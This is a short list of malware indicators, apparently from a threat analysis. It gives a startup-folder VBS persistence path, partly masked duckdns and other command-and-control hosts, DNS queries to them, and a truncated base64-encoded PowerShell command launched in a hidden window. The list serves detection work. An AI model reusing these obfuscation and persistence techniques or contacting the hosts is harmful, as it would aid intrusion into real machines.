Technical Information
- %APPDATA%\microsoft\windows\start menu\programs\startup\shvhost.vbs
- $asxzdbjdfdfdf.replace(}}}} as /
- '20#####te.duckdns.org':3025
- 'h.###4top.io':443
- DNS ASK h.###4top.io
- DNS ASK 20#####te.duckdns.org
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -enc JABBAFMAWABaAGQAYgBqAGQAZgBkAGYAZABmACAAPQAgAEAAJwANAAoAaABeAF4AXgBeAHAAcwA6AH0AfQB9AH0AfQB9AH0AfQBoAC4AXgBeAG8AcAA0AF4AXgBvAHAALgBpAG8AfQB9AH0AfQBwAF8AMQA1ADIAMwAyAGgAZABeAF4AXgBe...' (with hidden window)